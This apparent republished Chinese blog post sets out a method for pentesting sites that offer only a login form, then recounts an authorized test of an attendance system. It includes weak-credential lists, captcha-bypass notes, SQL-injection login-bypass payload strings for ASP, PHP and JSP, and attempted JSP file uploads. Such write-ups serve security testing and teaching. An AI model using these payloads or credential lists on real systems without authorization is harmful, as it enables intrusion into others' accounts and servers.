我们在进行WEB渗透测试的时候,经常会遇到开局一个登录框的WEB站点,针对这种前台仅有一个登录功能的WEB站点,我们应该怎么渗透测试?以下是我的思路:
admin:123456
admin:654321
admin:admin123
admin:admin
admin:admin123456
admin:12345
test:test
test:123
test:1234
test:12345
test:123456
test1:123456
test01:123456
systemadmin:123456
superadmin:123456
如果手工尝试无果,则利用BP进行密码爆破。如果有验证码,而且还是滑动型/点击型/识物型验证码,如下:
通常我就直接放弃爆破这种方法了。如果是图形验证码,则要看情况。如果图形验证码的底纹是纯色、正笔,则可以利用PKAV团队的图形验证码识别工具进行爆破,如下:
如果底纹是混色、斜体,则会提高识别难度,这时的图形验证码识别工具就会识别不出来,基本我遇到也就放弃了,如下:
无法识别这种带有底纹的,除了会使用底纹防止自动化识别,还会使用划线/中文等混淆方式防止自动化识别。
如果账号和密码都进行加密,则要分析其用的是什么加密方式,然后再BP添加规则设置,如下:
0x02 查看框架类型
Set-Cookie: rememberMe=deleteMe;
此漏洞出现的还是比较高频的,如shiro-550漏洞,所以值得关注。
0x03 查看CMS类型
观察页面源代码是否出现敏感数据信息以及URL信息,也可以利用全局搜索功能查找password、passwd等关键词
查找URL信息是为了找到账号密码验证成功后跳转的URL地址,然后尝试访问此地址,看是否出现未授权访问漏洞,如下:
此处已显示账号密码验证成功后的跳转地址,直接访问此地址看是否可以未授权访问。
查看登录处的username和password参数是否存在SQL注入漏洞,如果存在SQL注入漏洞,那么大概率存在逻辑漏洞可以绕过前台验证进入后台(即万能密钥),从而造成任意用户登录。常见的万能密钥,如下:
## ASP/ASPX万能密码
" or "a"="a
')or('a'='a
or 1=1--
'or 1=1--
a'or' 1=1--
"or 1=1--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
## PHP万能密码
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
## JSP万能密码
1'or'1'='1
admin' or 1=1/*
0x06 逻辑免密登录
截取请求包查看参数情况,观察请求包的验证逻辑,当然,大部分情况都是验证账号密码,也有开发人员的安全意识不足,验证另外一个标识的,如下:
如此处的verify参数为false,则将值修改为true即可绕过。
0x07 目录扫描
目录扫描就不赘述了,很简单,值得一提的是,有些站点,只要你访问的路径不正确就会自动跳转到登录页面,最终状态码显示200。那么这种情况就会导致你在目录扫描的时候,结果会显示一堆可以访问的目录。
利用以上的思路对已授权智慧考勤系统进行渗透测试,这里很幸运,手测弱口令我就直接进入系统了。
接着就是对其后台功能展开分析,首先找上传点
上传正常图片,成功
修改文件内容,尝试上传JSP文件
上传成功,但是我一点都高兴不起来,不知道绝地路径
看前端返回的页面,原来的图片没有了,也没显示什么,暂时获取不了绝对路径。继续测试,找到另外一个上传点。
还是上传一张正常图片,修改文件内容。
还是只显示上传成功,回去看前端怎么显示
复制这里的图像地址并访问,如下:
看样子是没法上传了,找不到绝对路径,后续也没有挖到其它的漏洞,暂时也告一段落,先把报告整起来。(有思路的师傅们希望能指点一下)
原文始发于微信公众号(Snaker独行者):记录:渗透已授权智慧考勤系统(思路)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论